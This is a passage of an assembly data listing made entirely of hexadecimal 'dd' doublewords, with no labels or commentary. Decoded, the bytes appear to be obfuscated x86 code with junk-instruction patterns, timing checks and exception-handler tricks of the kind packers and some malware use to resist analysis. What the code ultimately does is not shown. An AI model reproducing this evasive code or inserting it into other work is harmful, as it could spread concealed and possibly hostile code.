6CE3AACAh, 0AF442136h, 29A7BFE5h, 4E08D19Dh, 8D8B5B06h dd 64E0CEDh, 0B76193BBh, 0DE908h, 0C050000h, 161AAE15h dd 19A7BD84h, 83D27C18h, 840F01E1h, 26h, 0CEDA583h, 89FE064Eh dd 4E2675BDh, 59958906h, 0E9064E25h, 9, 84D0225Dh, 373A1D47h dd 0E9C9h, 0B58D0000h, 651F9ECh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0A2C35545h, 95BD2BEBh, 6A064E0Eh dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 33A2E91Eh, 0FF3247E3h, 4E1A5995h, 58D0106h dd 0E9064E19h, 0Eh, 8249BC1Dh, 0E1C8505Fh, 3FB1DB59h, 0D7B9F3C5h dd 6A000007h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0BEBFC352h, 281957E6h, 31A4E3E2h dd 4E2599B5h, 0FCE18306h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0DBC35040h, 0D98B6657h, 6AFC5Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 0CD3178C3h, 0F7816678h, 0B8E6CEh, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 4CC2C352h, 69D8C273h, 6F18501h, 0D22B064Eh, 8C0Fh, 33AD0000h dd 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 85092BC3h, 64E0F4Dh dd 880Dh, 7DB58900h, 8B064E30h, 4E2B0595h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 836BB01Bh, 0F5A87B15h, 2B658D8Bh, 8B66064Eh, 119589D9h dd 50064E09h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 699D0158h, 6A064E07h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0AFE1C350h, 5E95078h dd 8F000000h, 0C9DB116Dh, 29BD295Bh, 83064E1Fh, 4E30FDBDh dd 840F0006h, 0A3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 99C35747h, 29BD8B4Eh, 0B8064E1Fh, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 40C35040h dd 0EF81664Bh, 8D8D5D9Dh, 64E4E10h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 48C35040h, 0A61DDF2h, 3F767AB5h dd 6AE1FFh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0D2562BC3h, 0FC5F3EB7h, 0BF0F5B9Ah, 3DB589DBh dd 83064E04h, 4E065DBDh, 840F0006h, 3E4h, 6860Fh, 0BD890000h dd 64E140Dh, 65DBD83h, 0F01064Eh, 3E684h, 0AE900h, 0EDE50000h dd 0DFA4D4F0h, 4E2BBD0h, 65DBD83h, 0F03064Eh, 39486h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8F0F6529h, 19h, 14E9h, 0B34A2700h, 0EBDAE7D9h, 0B7F581F3h dd 9CBC7A3Bh, 0E802D62Ah, 8C6660EFh, 53006AD9h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0E9F58E0Ah dd 12h, 0D6715B58h, 0B17012DFh, 5ABD89A6h, 72D1C99Ah, 9D8B889Dh dd 64E30E1h, 80FBB70Fh, 6A04E1h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0E8828C3h, 7DBD8B15h dd 0A064E16h, 13840FC9h, 31000001h, 4E0C55B5h, 8BDC8A06h dd 4E1B2985h, 33D88B06h, 4E288D85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0D3813787h dd 5D8208BFh, 376BD781h, 669030FEh, 50EE24BFh, 0D8D0Fh dd 52500000h, 310F5F57h, 4160ABBh, 90585A0Eh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0D3C35646h, 0C6B3768Fh dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 2BC527C3h, 0E8F89699h, 4, 1F03FFh, 0E950D98Ah dd 9, 0F274D38Bh, 41A19B51h, 24448BF2h, 0AE96004h, 4000000h dd 0C91E4A88h, 7215483Dh, 57525019h, 5A310F5Ah, 8B6158h dd 310F5250h, 8BFDBF56h, 5A5F6971h, 24448958h, 0F88B6604h dd 3840F58h, 66000000h, 95FFFE8Bh, 64E0BD9h, 2322EF81h dd 85891B35h, 651B12Fh, 0CB99D8Bh, 69E9064Eh, 80000001h dd 858B19E7h, 651B127h, 0C778D380h, 1800h, 14E900h, 73E30000h dd 0C3B56DABh, 0DF9CBF54h, 0EB4DAD58h, 0A229181Ch, 0B58BAEF3h dd 651B12Bh, 18A3D381h, 858B5020h, 64E300Dh, 89F9B70Fh dd 58E0F06h, 66000000h, 0DE93F381h, 1B29858Bh, 6A064Eh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 18E287C3h, 0CC91623Fh, 9589A03Ah, 64E0481h, 8B044689h dd 4E0E359Dh, 34895006h, 999D8B24h, 0FF064E1Bh, 51B127B5h dd 0DF8B6606h, 4E8h, 1F03FF00h, 0EE800h, 5BBF0000h, 0FDF6EABEh dd 0DDD60FCAh, 0C92CB43Dh, 0CAEF5BBBh, 60505F41h, 870Fh dd 0FE80000h, 0F0000000h, 0CFE5FF8Bh, 0DB006F01h, 79BB1D4Eh dd 0BE66EE32h, 615F158Ah, 424448Bh, 5FFC8A50h, 0BB66008Bh dd 4489B61Ah, 0DA8B0424h, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0DB852613h dd 858D5F5Dh, 651B12Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 28C35545h, 0F1BB55E8h, 0F9B933E0h, 8910B350h dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0ADE21AC3h, 0BD995FFh, 0FE8B064Eh, 0CFBB6661h dd 5D85C7C5h, 3064E06h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 39BCC353h dd 852985E4h, 64E0435h, 8383F780h, 51B12FBDh, 840F0006h dd 29h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h dd 9DC35242h, 0E9DE8B66h, 20h, 51FBBF0Fh, 0C30505Bh, 11440011h dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h dd 83110430h, 0E77504E9h, 0C08B00EBh, 5F37DB81h, 0B53158C5h dd 64E0911h, 9E9FCh, 1AC50000h, 408C77Bh, 8397F48Dh, 4E065DBDh dd 850F0306h, 402h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0C1C35242h, 0BD83DBCAh, 651B12Fh, 0D7840F00h dd 6A000003h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 8167C356h, 4559C5CFh, 2FB5FF70h dd 6A0651B1h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 9BE5C350h, 810F7495h, 6, 0B5D9D8Bh dd 95FF064Eh, 64E0375h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 54C35545h, 8B315E7Dh, 51B123B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 318D896Eh, 66064E08h, 0C77E42BBh, 1000106h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 9459A0AFh, 0CD5B8464h, 0BD0B890Ah, 64E21B1h, 28A0F50h dd 0B3000000h, 24348919h, 0FFD8B70Fh, 51B12FB5h, 9FEF8006h dd 290195FFh, 6A064Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 200ACAC3h, 0A124B7D8h, 8BDA8B66h dd 51B123B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 0B98C77A8h, 35D380C5h, 0F35858Bh dd 0FDBB064Eh, 891305DFh, 0C486h, 0E00CBB00h, 958B492Bh dd 64E2B05h, 2D52E381h, 0C2835E60h, 5089F504h, 52006A20h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 6045A9E2h, 60C38B66h, 61616160h, 0C53D858Dh, 6A0651h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 2DDEE3C3h, 0AFBDBC51h, 34C78166h, 89FE8BDFh, 0B886h dd 7EEB8100h, 6A083770h, 5D9D8900h, 0FF064E14h, 51B12FB5h dd 0A9853106h, 0FF064E10h, 4E1A0595h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 7D9589E0h, 96064E2Ah, 57BF6657h, 0BB505B0Fh, 51F8E8B0h dd 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 0FF7EE086h, 51B12FB5h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0EB80EDBBh, 0A195FF5Eh, 83064E05h, 4E1509BDh, 840F0006h dd 51h, 158F0Fh, 0BE80000h, 0B5000000h, 6510E36Eh, 0F514F289h dd 0BF66DECCh, 505BA187h, 0F78B6660h, 0F1B6B866h, 24348961h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 3C35242h dd 27B2D233h, 93AD6ED7h, 51E78166h, 2FB5FF43h, 6A0651B1h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 5963C356h, 25D995FFh, 6A064Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 4F59BDC3h dd 87E78166h dd 0F8B70F88h, 0B12FB5FFh, 0BF660651h, 95FF3115h, 64E250Dh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0EEC35343h dd 0DB81EBB2h, 22183781h, 1531BD83h, 0F02064Eh, 5684h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 33D997F7h, 0FDA6740h, 68Fh, 0B2EB8100h dd 8B2A69BBh, 4E292585h, 29BD8B06h, 0C6064E13h, 0E8600000h dd 6, 95C1BB05h, 12BE34D2h, 5B28058Dh, 0CBD9D89h, 0C761064Eh dd 4E121D85h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 8C3492Fh, 0B654AC30h dd 2D219D8Bh, 92E9064Eh, 6AFFFFF3h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 792FC351h dd 8BE9A93Eh, 0C5C6E381h, 0C18B7A08h, 987696BFh, 61858D7Fh dd 6A064E10h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 17042444h, 41000000h, 0CE14C351h, 816633F7h, 504725EFh dd 508773BFh, 24048931h, 38DF8166h, 0DBB70FA7h, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0E545EBC3h, 6AD19Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0A4C35646h, 0BD2B20D5h, 64E2115h, 8E9C858Dh dd 6A0652h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 15ECE6C3h, 13E98Eh, 3C480000h, 0A224E29Bh dd 7C620020h, 0AEEDC35Ch, 61828322h, 2DC380C1h, 8B05C083h dd 4E271D9Dh, 52509006h, 0AE9h, 6696CE00h, 7F6255C9h, 0F009E65h dd 5AFD8A31h, 8C0F5058h, 0Dh, 8E9h, 0AE7FC500h, 541C07DCh dd 6E990E6h, 9D000000h, 0AB119DA5h, 6A006A3Bh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 36F5C350h, 2A589678h, 6A100A1Ah, 8595FF00h, 6A064E08h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0BF97C357h, 0B5892E79h, 64E1239h, 12058D89h dd 8D8D064Eh, 651AF49h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0CFC35747h, 979CF791h, 31CB4BE4h, 519D8BDEh dd 0FF064E03h, 0F973B7D1h, 2649BD83h, 0F01064Eh, 8585h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 1EA7DCCEh, 12EDBD03h, 26A064Eh, 9E9h, 7B2A9B00h dd 0D9FA71B7h, 8B90BAB8h, 6A9050FBh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 2586C351h dd 0E7F331C6h, 0A665D7C4h, 0CE8h, 0EA523100h, 0A6490872h dd 0C4C2E751h, 0FBBF0F40h, 0C381665Bh, 95FF3C31h, 64E1A05h dd 2D859D8Bh, 0E3E9064Eh, 0E800000Dh, 0 dd 0A6ED815Dh, 106528Eh, 4E16359Dh, 3DBD3106h, 8B064E04h dd 4E2CF5BDh, 0A9858D06h, 6A065192h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0A9B9C351h dd 11B58982h, 90064E2Dh, 0DE8B6650h, 6051505Fh, 810Fh dd 52500000h, 585A310Fh, 0B905B61h, 4E2AF9BDh, 35FF6406h dd 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0F0C35545h dd 9713C2E4h, 0B79DDBC5h, 1DE8B53h, 4E0461B5h, 25896406h dd 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 71C35747h dd 8B8321EFh, 510AE5A0h, 152D8D89h, 85FF064Eh, 64E08D5h dd 8B6652FCh, 0FF6A5BD8h, 11A1B529h, 0B5FF064Eh, 64E1835h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 19C35545h dd 816622A9h, 0FFEAE3D3h, 4E1B0D95h, 128E906h, 8B660000h dd 6600B0FAh, 0E6D8A2BBh, 0E4F88B70h, 259D8B71h, 80064E11h dd 613CFAE3h, 108830Fh, 66600000h, 0FBF24B8h, 108Fh, 0BE900h dd 37740000h, 7AAF5353h, 208AA5B8h, 0B60F6158h, 0D9D8BC8h dd 0BA064E12h, 6, 595DD3BBh, 0C18BF96Eh, 0A57FBB66h, 6604E8C1h dd 0F307DB81h, 8BE2F766h, 4E13B1BDh, 8BC82B06h, 896060D1h dd 4E2F55BDh, 76C0BA06h, 8B615A03h, 1E961D7h, 0F9000000h dd 2D5858Bh, 830F064Eh, 0Ch, 68E0Fh, 9D890000h, 64E3009h dd 0F07C083h, 81h, 0C08300h, 0A559D33h, 0D03B064Eh, 11830Fh dd 81660000h, 89C053C7h, 4E2C11BDh, 64E906h, 8BF80000h dd 4E1B918Dh, 800F5106h, 3, 5FFEB70Fh, 0F01E183h, 4984h dd 81665100h, 5FDC90C3h, 134D9D8Bh, 0A583064Eh, 64E1B91h dd 85BF66FEh, 31BD0BCFh, 89064E09h, 4E02D595h, 870F6006h dd 10h, 0BE9h, 0CE5DD800h, 75A0BB9Eh, 0D285B7BFh, 2850Fh dd 5A510000h, 0E961h, 0B58D0000h, 6520420h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0F7C35747h, 290F435Dh dd 28619D2Bh, 6A064Eh, 12E9h, 0C9373A00h, 6BE22074h, 472F6DD5h dd 5640BC1Eh, 0FF549449h, 4E1A5995h, 0EAE78006h, 8B9B9h dd 0D3EB8000h, 6AFCE183h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0E98BC350h, 6, 983C57F3h dd 89FCCD7Bh, 4E319D9Dh, 66C02B06h, 0F60DA8Bh, 0E960C2B7h dd 9, 5C936E4h, 0A18564C3h, 12E88Bh, 69CF0000h, 0E161A257h dd 0A9F44F30h, 0C8B3FB7h, 0E177E323h, 2B61615Eh, 0F9BF0FD2h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 56C35747h, 0E1CC190h, 6612B801h dd 7507F781h, 89FE8B66h, 4E2C4995h, 880D06h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 7D746C3h, 0B5895651h, 64E06F9h, 2B05958Bh, 0C6BF064Eh dd 8B1470E0h, 4E2B658Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 66C3A259h, 8B50DE8Bh dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 9D896060h dd 64E1441h, 0FE9h, 1A441600h, 97416CE4h, 0E7A5BF73h, 0E82245D6h dd 1BD08161h, 61513B8Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 72C35747h, 0FE9h, 0F3D33800h, 0BF9D5369h dd 286FF92Fh, 88888268h, 0EE9h, 87CBC100h, 582D2F73h, 9FF3F4Bh dd 834BE69Ah, 4E30FDBDh, 840F0006h, 69h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 46C35646h, 5E263AA2h dd 0B898B664h, 0 dd 0E69BD8Bh, 8D8D064Eh, 64E4E10h, 0FFDFB70Fh, 55006AE1h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 78C05C0Bh, 6B4509F0h, 0BDBD8906h, 3064E02h, 4E12D19Dh dd 5DBD8306h, 64E06h, 514840Fh, 9D8B0000h, 64E1431h, 65DBD83h dd 0F01064Eh, 51C84h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 2959A90Eh, 4E20D58Dh dd 0CD9D8906h, 83064E0Ch, 4E065DBDh, 860F0306h, 4AFh, 60F98B66h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 4FC35545h dd 75BDF2E8h, 0AE9B52Ah, 0A000000h, 0D018CDD1h, 0E86BD79Ah dd 0D98C66BEh, 0CCC38166h, 859D8B46h, 80064E1Bh, 816604E1h dd 0AE673D3h, 68840FC9h, 8B000001h, 4E1B2985h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 9CDF80AAh, 0E59494BBh, 8D853331h, 6A064E28h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 7036C357h, 0DB1B589h, 8E9064Eh, 0EF000000h, 68266CB3h dd 508314C0h, 48995B7h, 3DCB8024h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0B29F65C3h dd 0B9EF9932h, 11E9h, 98517100h, 815E8D76h, 0A2E771BAh dd 0BC3EC211h, 616814E0h, 0E9BA9802h, 10h, 599BA930h, 46C3DF4Dh dd 0B4195B80h, 0C64621E8h, 9E240481h, 6A458701h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 6E50C352h, 0CE9h, 68AF9100h, 21AF0083h, 0EB95E0C3h dd 95E781C4h, 0E8280196h, 0Eh, 84989FCBh, 453BF84Fh, 20D75935h dd 960902Fh, 4E08ADB5h, 0DE906h, 38110000h, 3CCE0B50h dd 9AEE1CA1h, 6122C785h, 0D995FF5Fh, 6A064E0Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 6944C357h, 7898D89h, 9D8B064Eh, 64E2749h, 0B12F8589h dd 0BD8B0651h, 64E067Dh, 23BE9h, 8B00B300h, 51B12785h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0D62F36C2h, 0DE8B6652h, 1800C75Fh, 0F000000h dd 0B58BDABFh, 651B12Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0F7C35242h, 8B0Fh, 858B0000h, 64E300Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 13C35242h dd 9F9D737Dh, 13C1B589h, 8589064Eh, 64E2265h, 6A0689h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 5AA0DAC3h, 9D4E5BAFh, 8B665F8Ch, 9D0156DEh, 64E0529h dd 29858B5Fh, 6A064E1Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0D222C357h, 38A3E56Bh dd 0E5BD8960h, 61064E0Fh, 0BF044689h, 6CE59664h, 1B219589h dd 6050064Eh, 7E957h, 0D9C70000h, 98345203h, 11E95903h dd 1B000000h, 87DC2E6Ch, 331021CAh, 3BBA9369h, 0BE18FB1Fh dd 24348961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 0ECC35343h, 0C17CFDC8h, 9FB2FA50h, 0B5FFF839h dd 651B127h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 52C35141h, 0BF0F4A97h, 0E99589FEh, 0E8064E0Ch dd 4, 1F03FFh, 2810F50h, 8B000000h, 24448BDEh, 10C0BB04h dd 8B775Dh, 11E9h, 0A0928600h, 7D1BEBE2h, 17FD050Bh, 0DCFBA3EEh dd 4489DBC2h, 8A0F0424h, 3, 58FB8B66h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0DDC35545h, 30F22DF9h, 0B4249CB6h dd 31659D8Bh, 858D064Eh, 651B12Fh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 21C35646h, 0F50C038h, 289h dd 89DA8B00h, 0BF0F2404h, 0D995FFDAh, 6A064E0Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 9A80C357h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 6644DDE7h, 0D7E8C381h, 65D85C7h dd 3064Eh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 51601CC3h, 0ADBD8960h, 89064E19h dd 4E0D2D8Dh, 835F6106h, 51B12FBDh, 840F0006h, 53h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 8AC35242h, 78CE0FB2h dd 0E1B5097Eh, 89064E03h, 4E14E5B5h, 3CE906h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 9AB39DC3h, 50A0ABC8h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 8B9627C3h, 5DBD83DFh dd 3064E06h, 3C2850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 7D3814C3h, 42E0DA5Ah dd 23E781E9h, 836ECF91h, 51B12FBDh, 840F0006h, 38Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0F6C35040h, 119D8B08h dd 0FF064E30h, 51B12FB5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0A06C15FAh dd 2DABB33Ch, 0EBB3025Ch, 37595FFh, 8B66064Eh, 23B58BD8h dd 6A0651B1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 0A183C356h, 0CD410219h, 8D293D88h dd 64E1049h, 106C7h, 0DE90001h, 16000000h, 90CAF4DAh, 0A47804D5h dd 5D76E8F3h, 24348950h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 2BC35040h, 0B5FF5524h, 651B12Fh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0F5C35747h, 9F97D91h dd 4E13A595h, 59D8B06h, 0FF064E14h, 4E290195h, 23B58B06h dd 6A0651B1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 3B2CC356h, 4FBB6699h, 8E975h dd 6940000h, 0B07C96F4h, 8B660082h, 35858BDAh, 6A064E0Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 94F0C352h, 2EF86C4Dh, 8D0F0610h, 0 dd 0C48689h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 1B7DABC3h, 0F62E89Fh, 489h, 0F3BF6600h dd 5958B9Bh, 83064E2Bh, 9D8B04C2h, 64E20E1h, 0E9205089h dd 6, 86E19FEAh, 0BB66092Dh, 858D7C80h, 651C53Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D7C35545h, 572D7C89h dd 80DD4B86h, 0B88689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0D44D6CC3h, 531BD2Bh dd 6A064Eh, 0B12FB5FFh, 6A0651h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 95FF7FC3h, 64E1A05h dd 26A99D8Bh, 5096064Eh, 6696FC8Ah, 5561DF81h, 0B12FB5FFh dd 9D090651h, 64E3055h, 97BBF66h, 5A195FFh, 0BD83064Eh dd 64E1509h, 44840F00h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 56C350h dd 9682CF80h, 0F719BF66h, 6A9650h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 150424h, 53430000h, 0FFB154C3h, 51B12FB5h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0FF2B305Dh, 4E25D995h, 219D8B06h, 0FF064E22h dd 51B12FB5h, 0A9F78106h, 0F03D9DFh, 0B84h, 6E900h, 0EFB50000h dd 8D15A525h, 250D95FFh, 8B60064Eh, 4E251D95h, 61CB8B06h dd 1531BD83h, 0F02064Eh, 6C84h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 25858B8Fh dd 6A064E29h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 0E2EC351h, 0C9BD0923h, 0C6064E10h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 89CFBBC3h, 4E16A195h, 1D85C706h, 64E12h dd 0BB000000h, 128ADE28h, 0FFF309E9h, 25BD31FFh, 8B064E2Bh dd 816660C1h, 89314CDEh, 4E2C959Dh, 858D6106h, 64E1061h dd 0C1B70F60h, 8D0961FCh, 64E0B85h, 0E9525090h, 0Eh, 35850079h dd 69B4A899h, 1D261BDEh, 310F4F43h, 800Fh, 585A0000h, 6C28BF50h dd 0F9058A9h, 486h, 0BBBF6600h, 60006AE5h, 0CF1AB966h dd 6A61C28Ah, 0D88B6600h, 9DF8858Dh, 6A0652h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 35B1B1C3h dd 0E9FE8B2Dh, 6, 2A278FEAh, 0C083FCCFh, 52006A05h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 2A2DE1D4h, 0EE18509h, 6650064Eh, 489DE8Bh, 6A006A24h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0CCA4C356h, 67713A5Fh, 6ADF8B66h, 919D8900h dd 0FF064E08h, 4E088595h, 0FD950106h, 8D064E07h, 51AF498Dh dd 5DD38106h, 0FF2B0324h, 52006AD1h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0FBCD32DEh dd 0BFB5F1D6h, 49BD83F7h, 1064E26h, 48850Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 1E3A2AC3h, 29359589h, 0BD8B064Eh, 64E19ADh, 0D98A026Ah dd 0A0CED381h, 8B502F98h, 240489FAh, 1A0595FFh, 8A0F064Eh dd 2, 87E9DC8Ah, 0E800000Ch, 0 dd 2ED815Dh, 6A06529Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 11B7C353h, 0FBD8941Dh dd 0E15A6A33h, 0BC4806BBh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0B708D0F6h dd 81666DD4h, 8DD089F7h, 5192A985h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0AF9E9AD1h dd 6650F5DFh, 897509BFh, 6A2404h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 2B5E17C3h, 1AE22958h dd 0C1B531D2h, 64064E30h, 35FFh, 6A0000h, 3E851h, 59200000h dd 